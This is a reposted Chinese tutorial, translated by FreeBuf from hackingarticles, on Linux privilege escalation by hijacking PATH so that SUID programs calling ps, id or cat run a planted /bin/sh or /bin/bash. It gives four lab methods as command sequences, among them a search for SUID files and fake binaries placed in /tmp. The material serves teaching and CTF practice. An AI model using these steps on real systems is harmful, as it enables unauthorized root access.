歡迎光臨
每天分享高質量文章

駭客的Linux神技能:使用環境變數進行提權

來自FreeBuf.COM

*參考來源:hackingarticles,FB小編 secist 編譯

http://www.freebuf.com/articles/system/173903.html

在這篇文章中,我將會為大家介紹一些使用環境變數進行Linux提權的方法,包括在CTF challenges中使用到一些的技術。話不多說,讓我們進入正題!

介紹

PATH是Linux和類Unix作業系統中的環境變數,它指定儲存可執行程式的所有bin和sbin目錄。當使用者在終端上執行任何命令時,它會透過PATH變數來響應使用者執行的命令,並向shell傳送請求以搜尋可執行檔案。超級使用者通常還具有/sbin和/usr/sbin條目,以便於系統管理命令的執行。

使用echo命令顯示當前PATH環境變數:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變數中看到‘.’,則意味著登入使用者可以從當前目錄執行二進位制檔案/指令碼,這對於攻擊者而言也是一個提權的絕好機會。這裡之所以沒有指定程式的完整路徑,往往是因為編寫程式時的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當前,我們位於/home/raj目錄,我們將在其中建立一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c檔案中看到的,我們正在呼叫ps命令。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM機器

假設我們已經成功滲透標的,併進入提權階段。我們透過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。

find / -perm -u=s -type f 2>/dev/null

透過上述命令,攻擊者可以列舉出標的系統上所有的可執行檔案,這裡可以看到/home/raj/script/shell具有SUID許可權。

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”檔案,我們執行這個檔案。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

註意:符號連結也叫軟連結,如果目錄具有完全許可權,則它將成功執行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的許可權。

因此,攻擊者可以操縱環境變數PATH來進行提權,並獲得root訪問許可權。

方法2

Ubuntu LAB SET_UP

重覆上述步驟配置你的實驗環境,現在在指令碼目錄中,我們將編寫一個小型的c程式來呼叫系統二進位制檔案的函式。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c檔案中看到的,我們正在呼叫id命令。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM機器

同樣,假設我們已經成功滲透標的,併進入提權階段。我們透過ssh成功登入到了受害者的機器。然後使用Find命令,搜尋具有SUID或4000許可權的檔案。在這裡,我們可以看到/home/raj/script/shell2具有SUID許可權。

find / -perm -u=s -type f 2>/dev/null

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”檔案,我們執行這個檔案。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重覆上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令從etc/passwd檔案中讀取內容。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM機器

同樣,假設我們已經成功滲透標的,併進入提權階段,透過執行以下命令檢視sudo使用者串列。

find / -perm -u=s -type f 2>/dev/null

在這裡,我們可以看到/home/raj/script/raj具有SUID許可權,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”檔案。所以當我們執行這個檔案時,它會把etc/passwd檔案作為輸出結果。

cd /home/raj/script/ls./raj

Nano**編輯器**

cd /tmpnano cat

現在,當終端開啟時輸入/bin/bash並儲存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重覆上述步驟配置你的實驗環境。正如你在demo.c檔案中看到的,我們正在呼叫cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中並沒有這樣的檔案。

然後使用gcc編譯demo.c檔案,並提升編譯檔案的SUID許可權。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM機器

同樣,假設我們已經成功滲透標的,併進入提權階段,透過執行以下命令檢視sudo使用者串列

find / -perm -u=s -type f 2>/dev/null

在這裡,我們可以看到/home/raj/script/ignite具有SUID許可權,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”檔案。所以當我們執行這個檔案時,它會報錯“cat: /home/raj/msg.txt”檔案或目錄不存在。

cd /home/raj/scriptls./ignite

Vi編輯器

cd /tmpvi cat

現在,當終端開啟時輸入/bin/bash並儲存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami


●編號652,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

 

Linux學習

更多推薦18個技術類微信公眾號

涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

贊(0)

分享創造快樂